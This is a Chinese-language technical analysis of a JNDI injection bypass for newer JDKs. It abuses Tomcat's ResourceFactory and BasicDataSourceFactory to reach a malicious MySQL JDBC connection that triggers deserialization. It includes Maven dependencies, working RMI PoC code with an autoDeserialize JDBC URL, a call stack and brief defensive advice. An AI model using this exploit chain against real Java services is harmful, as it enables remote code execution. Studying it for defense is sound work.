jndi +FactoryBase 实现高版本绕过
字数 1595 2025-11-21 12:48:51
JNDI + FactoryBase 高版本绕过技术分析
一、高版本JDK对JNDI注入的限制
在高版本JDK中,对JNDI注入攻击增加了重要的安全防护。具体限制体现在:
关键代码变更:
在 javax.naming.spi.NamingManager#decodeObject 方法中增加了一个if判断,该判断会检查reference的factory类位置是否为空。如果非空(即存在远程codebase),则会阻止后续的恶意类加载。
二、绕过原理分析
2.1 核心绕过思路
绕过高版本限制的关键在于使 Ref.GetFactoryClassLocation() 返回空值。这意味着需要让ref对象的classFactoryLocation属性为空。
- classFactoryLocation属性作用:该属性表示引用所指向对象的对应factory名称
- 远程代码加载:对于低版本利用,该属性为codebase(远程代码URL地址)
- 本地代码利用:如果对应的factory是本地代码,则该值为空,这是绕过高版本限制的关键
2.2 利用条件
要成功利用需要满足以下条件:
- 使用本地类进行利用
- 该类必须是个工厂类,实现
javax.naming.spi.ObjectFactory接口 - 该工厂类至少存在一个
getObjectInstance()方法 - 在
NamingManager#getObjectFactoryFromReference中会对工厂类实例进行类型转换
三、技术实现细节
3.1 利用类选择
选择使用 FactoryBase 类及其实现类 ResourceFactory 进行利用。
ResourceFactory的getObjectInstance方法关键逻辑:
public final Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (this.isReferenceTypeSupported(obj)) {
Reference ref = (Reference)obj;
Object linked = this.getLinked(ref);
if (linked != null) {
return linked;
} else {
ObjectFactory factory = null;
RefAddr factoryRefAddr = ref.get("factory");
if (factoryRefAddr != null) {
// 加载自定义工厂类逻辑
String factoryClassName = factoryRefAddr.getContent().toString();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
Class<?> factoryClass = tcl.loadClass(factoryClassName);
factory = (ObjectFactory)factoryClass.newInstance();
} else {
factory = this.getDefaultFactory(ref); // 获取默认工厂
}
if (factory != null) {
return factory.getObjectInstance(obj, name, nameCtx, environment);
}
}
}
return null;
}
3.2 工厂获取机制
在 getDefaultFactory 方法中:
- 判断ClassName是否为
javax.sql.DataSource - 如果是,则获取
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
3.3 BasicDataSourceFactory的关键方法
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
if (!"javax.sql.DataSource".equals(ref.getClassName())) {
return null;
} else {
// 属性验证和处理逻辑
Properties properties = new Properties();
String[] arr$ = ALL_PROPERTIES;
// 遍历所有属性并设置到properties中
return createDataSource(properties); // 触发JDBC连接
}
} else {
return null;
}
}
四、环境搭建与POC构造
4.1 依赖配置
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-dbcp2</artifactId>
<version>2.12.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.89</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.89</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
4.2 POC构造代码
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,
"org.apache.naming.factory.ResourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));
String JDBC_URL = "jdbc:mysql://127.0.0.1:3309/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&useSSL=false";
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("username", "root"));
ref.add(new StringRefAddr("initialSize", "1"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
五、攻击流程分析
5.1 关键步骤
- 初始化注册表:创建RMI注册表
- 构造ResourceRef:设置类名为javax.sql.DataSource,工厂类为org.apache.naming.factory.ResourceFactory
- 配置JDBC参数:设置驱动类名、连接URL、用户名等
- 绑定引用:将构造的ReferenceWrapper绑定到RMI注册表
5.2 调用栈分析
完整的调用栈为:
createDataSource:339, BasicDataSourceFactory (org.apache.tomcat.dbcp.dbcp2)
getObjectInstance:275, BasicDataSourceFactory (org.apache.tomcat.dbcp.dbcp2)
getObjectInstance:94, FactoryBase (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:14, JNDI_Test (JNDI)
六、技术要点总结
6.1 成功绕过的关键
- classFactoryLocation为空:使ref对象的classFactoryLocation属性为空,绕过JDK的高版本限制
- 利用本地工厂类:通过Tomcat内置的ResourceFactory和BasicDataSourceFactory链式调用
- JDBC连接触发:最终通过构造恶意JDBC连接参数触发反序列化攻击
6.2 依赖组件要求
- Tomcat DBCP组件(提供ResourceFactory和BasicDataSourceFactory)
- MySQL JDBC驱动(用于构造恶意连接参数)
- 相应的依赖版本兼容性
6.3 防御建议
- 升级JDK到最新版本
- 限制不必要的JNDI查找操作
- 对不受信任的RMI注册表访问进行限制
- 监控和过滤恶意的JDBC连接参数
此技术利用了Tomcat DBCP组件中的合法功能链,通过巧妙的参数构造绕过了高版本JDK的安全限制,实现了JNDI注入攻击的再利用。